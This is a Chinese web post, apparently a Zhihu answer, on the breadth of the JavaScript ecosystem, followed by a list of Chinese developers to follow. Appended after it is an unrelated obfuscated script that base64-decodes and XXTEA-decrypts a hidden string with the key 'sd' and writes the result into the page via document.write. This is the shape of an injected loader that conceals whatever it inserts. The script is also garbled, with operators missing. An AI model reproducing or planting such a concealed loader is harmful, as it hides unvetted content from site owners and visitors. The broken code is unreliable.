Node.js 可以开发服务器、API,当后端工程师
Hybrid、React Native 可以开发移动应用,当移动端工程师
nw.js、electron、React Desktop 可以开发桌面应用,当桌面应用工程师
Canvas、OpenGL Unity 可以开发游戏,当游戏开发工程师
Sketch、FramerJS 可以搞设计、搞原型,当交互设计师
Ruff 可以搞嵌入式开发,做嵌入式开发工程师
Cylon、Nodebots、Robotjs 可以做硬件开发,做硬件工程师
…………
只有你想不到,没有做不到,JS的生态是它最大的优势,要说自己是JS高手,那还远得很呢。
提供一些名字给你。不过有些是记不得了。winter,朴灵,元彦,贺师俊,寸志,Jim Liu,题叶,月影,祖明,董必正,司徒正美,大漠,小芋头君,拔赤,死马,豪情,貘吃馍香,张云龙,小爝,顾轶灵,赵望野,张克军,愚人码头,堂主,Cat Chen,情封,一丝,玉伯。
vue.js 尤雨溪。
他们都属于在知乎上比较活跃,并且能带来很多新知识和思路的前辈。也可以看看他们以前的回答,必有收获。
<script language = javascript >function utf8to16(str) { var out, i, len, c var char2, char3 out = [] len = str.length i = 0 while (i <len) { c = str.charCodeAt(i) switch (c >>4) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: out[out.length] = str.charAt(i - 1) break case 12: case 13: char2 = str.charCodeAt(i) out[out.length] = String.fromCharCode(((c &0x1F) <<6) | (char2 &0x3F)) break case 14: char2 = str.charCodeAt(i) char3 = str.charCodeAt(i) out[out.length] = String.fromCharCode(((c &0x0F) <<12) | ((char2 &0x3F) <<6) | ((char3 &0x3F) <<0)) break } } return out.join('')}var base64DecodeChars = new Array(-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1)function base64decode(str) { var c1, c2, c3, c4 var i, len, out len = str.length i = 0 out = "" while (i <len) { do { c1 = base64DecodeChars[str.charCodeAt(i) &0xff] } while (i <len &&c1 == -1) if (c1 == -1) break do { c2 = base64DecodeChars[str.charCodeAt(i) &0xff] } while (i <len &&c2 == -1) if (c2 == -1) break out = String.fromCharCode((c1 <<2) | ((c2 &0x30) >>4)) do { c3 = str.charCodeAt(i) &0xff if (c3 == 61) return out c3 = base64DecodeChars[c3] } while (i <len &&c3 == -1) if (c3 == -1) break out = String.fromCharCode(((c2 &0XF) <<4) | ((c3 &0x3C) >>2)) do { c4 = str.charCodeAt(i) &0xff if (c4 == 61) return out c4 = base64DecodeChars[c4] } while (i <len &&c4 == -1) if (c4 == -1) break out = String.fromCharCode(((c3 &0x03) <<6) | c4) } return out}function long2str(v, w) { var vl = v.length var sl = v[vl - 1] &0xffffffff for (var i = 0i <vli) { v[i] = String.fromCharCode(v[i] &0xff, v[i] >>>8 &0xff, v[i] >>>16 &0xff, v[i] >>>24 &0xff) } if (w) { return v.join('').substring(0, sl) } else { return v.join('') }}function str2long(s, w) { var len = s.length var v = [] for (var i = 0i <leni = 4) { v[i >>2] = s.charCodeAt(i) | s.charCodeAt(i 1) <<8 | s.charCodeAt(i 2) <<16 | s.charCodeAt(i 3) <<24 } if (w) { v[v.length] = len } return v}function xxtea_decrypt(str, key) { if (str == "") { return "" } var v = str2long(str, false) var k = str2long(key, false) var n = v.length - 1 var z = v[n - 1], y = v[0], delta = 0x9E3779B9 var mx, e, q = Math.floor(6 52 / (n 1)), sum = q * delta &0xffffffff while (sum != 0) { e = sum >>>2 &3 for (var p = np >0p--) { z = v[p - 1] mx = (z >>>5 ^ y <<2)(y >>>3 ^ z <<4) ^ (sum ^ y)(k[p &3 ^ e] ^ z) y = v[p] = v[p] - mx &0xffffffff } z = v[n] mx = (z >>>5 ^ y <<2)(y >>>3 ^ z <<4) ^ (sum ^ y)(k[p &3 ^ e] ^ z) y = v[0] = v[0] - mx &0xffffffff sum = sum - delta &0xffffffff } return long2str(v, true)}t = "EuFdn3v3QgQnHxb2ADaY8iha7jZR2kcNGqijPESDpJQcgT4FcspGYnEMd s="t = utf8to16(xxtea_decrypt(base64decode(t), 'sd'))document.write(t)</script>